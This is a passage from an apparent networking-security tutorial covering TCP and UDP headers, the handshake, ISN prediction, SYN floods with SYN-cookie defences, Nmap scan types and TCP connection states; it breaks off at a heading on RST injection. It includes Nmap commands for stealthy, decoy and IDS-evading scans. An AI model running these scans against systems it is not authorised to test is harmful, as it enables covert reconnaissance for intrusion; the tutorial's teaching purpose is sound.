  3. TCP vs UDP — The Fundamental Choice
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 The Design Philosophy
&lt;/h3&gt;

&lt;p&gt;TCP and UDP represent two fundamentally different answers to the question: "How should we move data between applications?"&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TCP answer: "Reliably. I will guarantee every byte arrives, in order,
             exactly once. I will establish a connection first, track
             what was sent, retransmit what was lost, and signal when
             I'm done. Cost: overhead, latency, connection state."

UDP answer: "As fast as possible. I will send the data and forget it.
             No connection setup. No tracking. No retransmission.
             If it arrives, great. If not, the application deals with it.
             Cost: no reliability guarantees."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 TCP — Transmission Control Protocol
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Header structure (20 bytes minimum):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
┌───────────────────────────┬───────────────────────────────────┐
│       Source Port         │        Destination Port           │  4 bytes
├───────────────────────────┴───────────────────────────────────┤
│                    Sequence Number                             │  4 bytes
├───────────────────────────────────────────────────────────────┤
│                 Acknowledgement Number                         │  4 bytes
├────────┬───────┬─┬─┬─┬─┬─┬─┬─┬─┬───────────────────────────┤
│  Data  │Reserv.│C│E│U│A│P│R│S│F│        Window Size         │  4 bytes
│ Offset │       │W│C│R│C│S│S│Y│I│                            │
│        │       │R│E│G│K│H│T│N│N│                            │
├────────┴───────┴─┴─┴─┴─┴─┴─┴─┴─┴───────────────────────────┤
│           Checksum             │       Urgent Pointer         │  4 bytes
├───────────────────────────────────────────────────────────────┤
│                    Options (variable)                          │  0-40 bytes
└───────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Critical fields and their security relevance:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source Port / Destination Port (16 bits each):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Identify which application is communicating&lt;/li&gt;
&lt;li&gt;Source port on clients: ephemeral (49152-65535 typically)&lt;/li&gt;
&lt;li&gt;Destination port identifies the service: 22=SSH, 80=HTTP, 443=HTTPS, 502=Modbus&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security:&lt;/strong&gt; Firewall rules filter on port numbers. Port scanning (Nmap) determines which ports have listening services. Port spoofing is possible but doesn't affect server-side port allocation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Sequence Number (32 bits):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tracks position in the byte stream&lt;/li&gt;
&lt;li&gt;Initial Sequence Number (ISN) is random (per RFC 6528 — cryptographically random to prevent prediction)&lt;/li&gt;
&lt;li&gt;Each byte of data sent increments the sequence number&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security:&lt;/strong&gt; Historical predictable ISNs enabled TCP session hijacking. Mitnick's 1994 attack against Tsutomu Shimomura predicted ISNs to forge TCP connections. Modern OSes use random ISNs, but weak ISN generation (CVE-2001-0751, others) has recurred.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Acknowledgement Number (32 bits):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Next expected byte from the other side&lt;/li&gt;
&lt;li&gt;"I have received everything up to byte N, send me byte N+1 next"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Flags (9 bits):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CWR: Congestion Window Reduced
ECE: ECN-Echo (explicit congestion notification)
URG: Urgent pointer valid
ACK: Acknowledgement field valid — set on all packets after handshake
PSH: Push — deliver data to application immediately, don't buffer
RST: Reset — abort connection immediately
SYN: Synchronise — initiate connection (ISN negotiation)
FIN: Finish — no more data from sender (graceful close)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Window Size (16 bits):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How many bytes the receiver is willing to accept before requiring acknowledgement&lt;/li&gt;
&lt;li&gt;TCP flow control mechanism&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security:&lt;/strong&gt; Window size is an OS fingerprinting signal. Linux, Windows, and macOS use different default window sizes and scaling factors. Nmap uses window size as part of OS detection.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;TCP Options (variable):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Common TCP options:
  MSS (Maximum Segment Size): Maximum TCP payload per segment
                               Typically 1460 bytes (1500 MTU - 20 IP - 20 TCP)
  Window Scale: Multiplier for window size (enables large windows)
  SACK (Selective Acknowledgement): Acknowledge non-contiguous data
  Timestamps: Used for RTT measurement and PAWS (Protection Against Wrapped Seq.)
  No-Operation (NOP): Padding

Security: TCP options reveal OS. The combination of MSS, window scale,
SACK support, and timestamp presence is a reliable OS fingerprint.
Nmap's -O flag uses this — as does passive fingerprinting (p0f).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 UDP — User Datagram Protocol
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Header structure (8 bytes — fixed):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌───────────────────────────┬───────────────────────────────────┐
│       Source Port         │        Destination Port           │  4 bytes
├───────────────────────────┴───────────────────────────────────┤
│           Length           │           Checksum               │  4 bytes
├───────────────────────────────────────────────────────────────┤
│                         Data                                   │
└───────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;UDP has no:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sequence numbers (no ordering)&lt;/li&gt;
&lt;li&gt;Acknowledgements (no reliability)&lt;/li&gt;
&lt;li&gt;Flow control (no congestion management)&lt;/li&gt;
&lt;li&gt;Connection state (no handshake)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;When UDP is correct:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Use Case&lt;/th&gt;
&lt;th&gt;Why UDP&lt;/th&gt;
&lt;th&gt;Example Protocols&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DNS queries&lt;/td&gt;
&lt;td&gt;Single request/response, retry easy&lt;/td&gt;
&lt;td&gt;DNS (UDP 53)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Real-time media&lt;/td&gt;
&lt;td&gt;Latency more important than reliability&lt;/td&gt;
&lt;td&gt;VoIP, video streaming&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time synchronisation&lt;/td&gt;
&lt;td&gt;Precision more important than reliability&lt;/td&gt;
&lt;td&gt;NTP (UDP 123)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network management&lt;/td&gt;
&lt;td&gt;Simple request/response&lt;/td&gt;
&lt;td&gt;SNMP (UDP 161)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tunnelling protocols&lt;/td&gt;
&lt;td&gt;Custom reliability at higher layer&lt;/td&gt;
&lt;td&gt;WireGuard, QUIC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multicast/Broadcast&lt;/td&gt;
&lt;td&gt;TCP cannot multicast&lt;/td&gt;
&lt;td&gt;DHCP, mDNS, SSDP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Industrial real-time&lt;/td&gt;
&lt;td&gt;Sub-millisecond timing requirements&lt;/td&gt;
&lt;td&gt;PROFINET RT, EtherNet/IP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  3.4 TCP vs UDP Security Comparison
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack                      TCP        UDP       Notes
─────────────────────────────────────────────────────────────────
IP Spoofing               Limited    Effective  TCP requires handshake; UDP fire-and-forget
Amplification DDoS         No        YES        UDP has no handshake; responses sent to victim
SYN Flood                  YES       No         TCP-specific: half-open connection exhaustion
Port Scanning             Easy       Harder     TCP RST/SYN-ACK indicates open; UDP needs app response
Session Hijacking          YES       Stateless  TCP has sessions; UDP doesn't
Man-in-the-Middle          YES       YES        Both can be intercepted
C2 Communication          Common    Common      Depends on operational requirements
Firewall Bypass           Harder    Easier      Stateful firewalls track TCP; UDP often loosely filtered
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Identify TCP vs UDP ports in a capture&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'tcp'&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 20      &lt;span class="c"&gt;# TCP traffic only&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'udp'&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 20      &lt;span class="c"&gt;# UDP traffic only&lt;/span&gt;

&lt;span class="c"&gt;# Nmap: scan both TCP and UDP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.1               &lt;span class="c"&gt;# TCP SYN scan (fast, stealthy)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; 192.168.1.1               &lt;span class="c"&gt;# UDP scan (slower, requires responses)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; T:80,443,22,U:53,161,123 192.168.1.1  &lt;span class="c"&gt;# Both protocols&lt;/span&gt;

&lt;span class="c"&gt;# See all open TCP/UDP ports on local system&lt;/span&gt;
ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt;                               &lt;span class="c"&gt;# TCP+UDP listening with process names&lt;/span&gt;
ss &lt;span class="nt"&gt;-t&lt;/span&gt; state established                 &lt;span class="c"&gt;# Established TCP connections&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The choice between TCP and UDP is a security decision, not just a performance one. UDP-based services are harder to firewall correctly (stateless), more susceptible to spoofing-based attacks, and are the mechanism behind virtually every large-scale DDoS amplification attack. Every time you see UDP on a port that isn't expected, it deserves investigation.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. TCP Three-Way Handshake — Deep Dive
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 The Mechanics
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CLIENT                                         SERVER
  │                                              │
  │  ──── [SYN] seq=ISN_c ──────────────────→   │
  │       Flags: SYN                             │
  │       Seq:   100 (random ISN)               │
  │       Ack:   0 (not yet)                    │
  │       Window: 65535                         │
  │       Options: MSS=1460, SACK, Timestamps   │
  │                                              │
  │  ←─── [SYN-ACK] seq=ISN_s, ack=ISN_c+1 ───  │
  │       Flags: SYN, ACK                        │
  │       Seq:   500 (server's random ISN)      │
  │       Ack:   101 (client's ISN + 1)        │
  │       Window: 28960                         │
  │       Options: MSS=1460, SACK, Timestamps   │
  │                                              │
  │  ──── [ACK] seq=ISN_c+1, ack=ISN_s+1 ──→   │
  │       Flags: ACK                             │
  │       Seq:   101                            │
  │       Ack:   501 (server's ISN + 1)        │
  │                                              │
  │  ══════════ [CONNECTION ESTABLISHED] ══════  │
  │                                              │
  │  ──── [PSH,ACK] DATA ───────────────────→   │
  │  ←─── [ACK] ──────────────────────────────  │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why three packets, not two?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Two-way handshake (SYN → SYN-ACK) would only confirm that the client can reach the server and that the server can send back. It does not confirm that the server's response can reach the client. The third ACK confirms bidirectional communication.&lt;/p&gt;

&lt;p&gt;More importantly, the three-way handshake establishes &lt;strong&gt;two independent sequence number spaces&lt;/strong&gt; — one for each direction. The client's ISN is acknowledged by the server's ACK, and the server's ISN is acknowledged by the client's final ACK. This is why it requires three messages.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 ISN — Initial Sequence Number Security
&lt;/h3&gt;

&lt;p&gt;The ISN is the single most security-critical field in the TCP handshake. Historically:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pre-1996 implementations:&lt;/strong&gt;&lt;br&gt;
Many early TCP stacks incremented the global ISN counter by a fixed amount per second. An attacker could:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Connect to the target legitimately to observe the current ISN&lt;/li&gt;
&lt;li&gt;Predict the ISN the target would use for the next connection&lt;/li&gt;
&lt;li&gt;Forge a TCP connection by sending SYN with spoofed source IP, then complete the handshake using the predicted ISN&lt;/li&gt;
&lt;li&gt;Inject data into a trust relationship (e.g., impersonate a trusted host)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is exactly what Kevin Mitnick did in his 1994 attack on Tsutomu Shimomura's machines — he exploited predictable ISNs over a Christmas weekend to hijack a TCP session and access Shimomura's files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Modern ISN generation (RFC 6528, 2012):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ISN = M + F(localhost, localport, remotehost, remoteport, secret_key)

M = 4-microsecond timer (prevents wrapping)
F = hash function (typically MD5 or SipHash)
secret_key = random value generated at system boot

Result: ISN appears random for each new connection,
        cannot be predicted without knowing the secret key,
        but can be reproduced for retransmission purposes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Observe ISN randomisation in practice&lt;/span&gt;
&lt;span class="c"&gt;# Connect three times and compare SYN sequence numbers:&lt;/span&gt;

python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import socket, struct

for i in range(3):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('google.com', 80))
    # Get local port assigned by OS
    local_port = s.getsockname()[1]
    print(f"Connection {i+1}: local port {local_port}")
    s.close()
# Each connection uses different source port and different ISN
# Capture with tcpdump -i eth0 'tcp[tcpflags] &amp;amp; tcp-syn != 0' to see ISNs
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Capture SYN packets and extract sequence numbers&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'tcp[tcpflags] &amp;amp; tcp-syn != 0 and not tcp[tcpflags] &amp;amp; tcp-ack != 0'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-X&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A2&lt;/span&gt; &lt;span class="s2"&gt;"Flags &lt;/span&gt;&lt;span class="se"&gt;\[&lt;/span&gt;&lt;span class="s2"&gt;S&lt;/span&gt;&lt;span class="se"&gt;\]&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 SYN Flood Attack — Exploiting the Handshake State
&lt;/h3&gt;

&lt;p&gt;The three-way handshake requires the server to allocate state after receiving the first SYN — before the handshake is complete. This is the foundation of the SYN flood attack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Normal handshake state machine on server:
  CLOSED → LISTEN → SYN_RECEIVED → ESTABLISHED

SYN flood:
  Attacker sends thousands of SYN packets per second
  Server allocates entry in connection table for each (SYN_RECEIVED state)
  Server sends SYN-ACK to source IP (often spoofed — no response comes back)
  Connection remains half-open, consuming memory
  After timeout (~75 seconds default), half-open connection is removed
  But attacker sends new SYNs faster than timeouts clear old ones
  Connection table fills → new legitimate connections rejected → DoS

Connection table limits:
  Linux: /proc/sys/net/ipv4/tcp_max_syn_backlog (default: 256-1024)
  Windows: Configurable, typically 200 per port
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SYN Cookies — The Defence:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SYN Cookie algorithm (RFC 4987):
  When under attack (or always, in some implementations):

  1. Server receives SYN
  2. Server does NOT allocate state
  3. Server computes cookie = HMAC(srcIP, srcPort, dstIP, dstPort, secret, timestamp)
  4. Server sends SYN-ACK with cookie as the sequence number
  5. If legitimate client completes handshake, sends ACK with ack_number = cookie + 1
  6. Server verifies cookie in the ACK — valid means legitimate client
  7. Server allocates connection state ONLY for verified connections

Result: Server has zero state for half-open connections
        SYN flood has no effect — no state to exhaust

Tradeoff: TCP options (SACK, timestamps, window scaling) cannot be stored
          in the cookie; lost if SYN cookies are triggered
          Modern implementations encode some options in cookie bits

Check SYN cookie status:
cat /proc/sys/net/ipv4/tcp_syncookies
# 0 = disabled
# 1 = enabled when under attack (default on modern Linux)
# 2 = always enabled

# Monitor SYN flood detection:
watch -n 1 'netstat -s | grep -i "syn"'
# SYNs to LISTEN sockets dropped: counter increases during flood
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.4 Port Scanning — Abusing the Handshake
&lt;/h3&gt;

&lt;p&gt;Different TCP flag combinations reveal different information about a port:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan types and their mechanics:

TCP Connect Scan (-sT):
  Client → [SYN] → Server
  Open port:    Server → [SYN-ACK] → Client → [ACK] → [RST] → disconnect
  Closed port:  Server → [RST] → Client
  Filtered:     No response (firewall drops)
  Advantage: Works as unprivileged user
  Disadvantage: Noisy — completes full handshake, logged by target

SYN Scan / Half-Open Scan (-sS):
  Client → [SYN] → Server
  Open port:    Server → [SYN-ACK] → Client → [RST] (never completes)
  Closed port:  Server → [RST]
  Filtered:     No response
  Advantage: Faster, stealthier — many services don't log incomplete handshakes
  Disadvantage: Requires root/admin (raw socket access)
  THIS IS NMAP'S DEFAULT WHEN RUN AS ROOT

FIN Scan (-sF):
  Client → [FIN] → Server
  Open port:    Server → [no response] (RFC 793: ignore unexpected FIN)
  Closed port:  Server → [RST]
  Use: Bypass stateless firewalls that only block SYN packets

XMAS Scan (-sX):
  Client → [FIN, URG, PSH] → Server
  Same response as FIN scan
  Named "XMAS" because all flags lit up like a Christmas tree

NULL Scan (-sN):
  Client → [no flags] → Server
  Same response as FIN scan

ACK Scan (-sA):
  Client → [ACK] → Server
  Used to map FIREWALL RULES, not port states
  Both open and closed ports respond with RST
  Filtered = no response (firewall drops ACK packets)

Window Scan (-sW):
  Sends ACK packets, examines TCP window size in RST response
  Some systems use non-zero window for open ports, zero for closed
  OS-dependent and unreliable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Common Nmap usage for TCP analysis:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; 192.168.1.100               &lt;span class="c"&gt;# All 65535 ports, SYN scan&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,443,502 192.168.1.100  &lt;span class="c"&gt;# Version detection on specific ports&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-O&lt;/span&gt; 192.168.1.100                &lt;span class="c"&gt;# OS detection (uses TCP/IP fingerprinting)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--scan-delay&lt;/span&gt; 1s 192.168.1.100   &lt;span class="c"&gt;# Slow scan to evade rate-limit detection&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; RND:10 192.168.1.100         &lt;span class="c"&gt;# Decoy scan (mix real scan with fake source IPs)&lt;/span&gt;

&lt;span class="c"&gt;# Timing templates (T0=paranoid, T5=insane):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.0/24             &lt;span class="c"&gt;# Aggressive timing for LAN scanning&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-T1&lt;/span&gt; &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100              &lt;span class="c"&gt;# Slow, evade IDS timing detection&lt;/span&gt;

&lt;span class="c"&gt;# Capture the SYN scan traffic to understand what it looks like:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'host 192.168.1.100 and tcp'&lt;/span&gt; &amp;amp;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100
&lt;span class="c"&gt;# Observe: rapid SYN packets, RST responses for closed, SYN-ACK for open&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The TCP three-way handshake is simultaneously the mechanism that makes TCP reliable AND the mechanism that makes SYN flood attacks possible. SYN cookies elegantly resolve this tension by deferring state allocation until connection completion. Understanding exactly what state is allocated where and when is the foundation of both DoS attacks and their mitigations.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. TCP Four-Way Termination
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Graceful Connection Close
&lt;/h3&gt;

&lt;p&gt;TCP connections are full-duplex — data can flow in both directions simultaneously. Closing a TCP connection requires closing each direction independently, which is why it requires four messages instead of three:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CLIENT                                         SERVER
  │                                              │
  │  ──── [FIN, ACK] seq=x ─────────────────→   │  Client: "Done sending"
  │                                              │
  │  ←─── [ACK] ack=x+1 ──────────────────────  │  Server: "Got your FIN"
  │                                              │  [Server may still be sending data]
  │                                              │
  │  ←─── [FIN, ACK] seq=y ───────────────────  │  Server: "Done sending too"
  │                                              │
  │  ──── [ACK] ack=y+1 ────────────────────→   │  Client: "Got your FIN"
  │                                              │
  │  [TIME_WAIT: 2×MSL seconds]                 │  [CLOSED]
  │  [CLOSED after TIME_WAIT]                   │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;TIME_WAIT state:&lt;/strong&gt;&lt;br&gt;
After sending the final ACK, the client enters TIME_WAIT for 2×MSL (Maximum Segment Lifetime, typically 60-120 seconds). This ensures:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The final ACK reached the server (if it was lost, server resends FIN and client can re-ACK)&lt;/li&gt;
&lt;li&gt;Old duplicate packets from the connection cannot confuse a new connection using the same 4-tuple&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Security implication of TIME_WAIT:&lt;/strong&gt;&lt;br&gt;
TIME_WAIT exhaustion is a DoS attack vector. By rapidly opening and closing connections, an attacker can fill the source port space (65535 ephemeral ports) with TIME_WAIT sockets, preventing new outbound connections.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Count connections by state&lt;/span&gt;
ss &lt;span class="nt"&gt;-tan&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;
&lt;span class="c"&gt;# or:&lt;/span&gt;
netstat &lt;span class="nt"&gt;-tan&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $6}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;

&lt;span class="c"&gt;# States you'll see:&lt;/span&gt;
&lt;span class="c"&gt;# ESTABLISHED: Active connections&lt;/span&gt;
&lt;span class="c"&gt;# TIME_WAIT:   Waiting for network stragglers after close&lt;/span&gt;
&lt;span class="c"&gt;# CLOSE_WAIT:  Remote end sent FIN, waiting for local application to close&lt;/span&gt;
&lt;span class="c"&gt;# SYN_SENT:    Sent SYN, waiting for SYN-ACK&lt;/span&gt;
&lt;span class="c"&gt;# SYN_RECEIVED: Got SYN, sent SYN-ACK, waiting for ACK&lt;/span&gt;
&lt;span class="c"&gt;# LISTEN:      Waiting for incoming connections&lt;/span&gt;
&lt;span class="c"&gt;# FIN_WAIT_1:  Sent FIN, waiting for ACK&lt;/span&gt;
&lt;span class="c"&gt;# FIN_WAIT_2:  Got ACK for FIN, waiting for remote FIN&lt;/span&gt;
&lt;span class="c"&gt;# LAST_ACK:    Sent FIN after CLOSE_WAIT, waiting for ACK&lt;/span&gt;
&lt;span class="c"&gt;# CLOSING:     Both sides sent FIN simultaneously&lt;/span&gt;

&lt;span class="c"&gt;# If you see thousands of TIME_WAIT: normal for busy web servers&lt;/span&gt;
&lt;span class="c"&gt;# If you see growing SYN_RECEIVED: possible SYN flood&lt;/span&gt;
&lt;span class="c"&gt;# If you see growing CLOSE_WAIT: application not closing sockets properly (bug)&lt;/span&gt;
&lt;span class="c"&gt;# If you see unusual ESTABLISHED connections: potential backdoors&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 RST — Abrupt Connection Reset
&lt;/h3&gt;

&lt;p&gt;RST (Reset) immediately terminates a connection without the four-way handshake. The receiving side discards any unacknowledged data and removes connection state immediately.&lt;/p&gt;

&lt;p&gt;RST is sent by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A port that has no listening service (response to SYN on closed port)&lt;/li&gt;
&lt;li&gt;A system receiving a packet for a non-existent connection&lt;/li&gt;
&lt;li&gt;A system that wants to abort a connection immediately&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;RST injection attack:&lt;/strong&gt;&lt;br&gt;
